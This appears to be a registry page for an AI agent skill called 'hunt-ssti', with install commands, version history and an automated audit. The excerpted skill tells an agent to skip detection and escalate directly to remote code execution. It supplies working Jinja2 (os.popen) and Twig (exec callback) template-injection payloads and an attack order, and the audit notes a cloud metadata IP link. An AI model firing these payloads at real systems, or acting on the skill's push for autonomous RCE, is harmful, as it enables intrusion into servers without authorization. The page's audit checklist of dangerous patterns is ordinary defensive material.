hunt-ssti SKILL.md skillC
hunt-ssti from novaestellar/novahaku is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add novaestellar/novahaku/hunt-ssti@git:20260910.546fe86Pins git:20260910.546fe86 in mdr.lock. Pin the fingerprint instead.
- Audit grade
- C, 15 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- novaestellar/novahaku
- Path
testing/hunt/hunt-ssti/SKILL.md- Versions recorded
- 3
- Latest version
- git:20260910.546fe86, committed Sep 10, 2026
- First version recorded
- Sep 3, 2026
- Size
- 7,315 bytes
- Repository stars
- 28
- License
- MIT
Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval…
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
## Autonomous Testing Priority
**Escalate straight to RCE — don't stop at arithmetic detection.**
Arithmetic probes (`{{7*7}}→49`) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like `<input value="{{7*7}}">`), producing a false negative even when injection exists.
**Order of attack:**
1. **Try Jinja2 RCE first** (covers Python/Flask — the most common stack in modern web apps):
```
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```
2. **If the endpoint is a traditional web form**, send as form-encoded body — NOT JSON:
```
Content-Type: application/x-www-form-urlencoded
field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```
JSON bodies are silently ignored by form-processing endpoints (`request.form['field']` sees nothing).
3. **If Jinja2 fails**, try Twig (PHP/Symfony): `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`
4. **Fall back to arithmetic detection** only to fingerprint the engine when RCE payloads fail.
…Read the whole file at its exact version.
How to install
mdr add novaestellar/novahaku/hunt-ssti@sha256:f39c674e593dced3The line at the top of this page pins the label git:20260910.546fe86, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_4jwbcap637r4pp3j)
6 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 3 versions of this file, between Sep 3, 2026 and Sep 10, 2026, about one every 3 days.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260910.546fe86 latest | 2026-09-10 | 546fe86 | 7,315 B | C | view · diff |
| git:20260903.29924dd | 2026-09-03 | 29924dd | 7,327 B | C | view · diff |
| git:20260903.fa855c4 | 2026-09-03 | fa855c4 | 7,298 B | C | view |
Audit of the latest version
- fail: No link to a raw IP address (matched: http://169.254.169.254)
- fail: No script tag (matched: <script)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (7315 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
novaestellar/novahaku · 28 stars · license MIT · pushed 2026-09-28 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_4jwbcap637r4pp3j GET https://markdownregistry.com/api/v1/resolve?ref=novaestellar/novahaku/hunt-ssti GET https://markdownregistry.com/api/v1/blob/f39c674e593dced3f40472ece4052fbf37eb66264c17949b762e6909260458f9
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.
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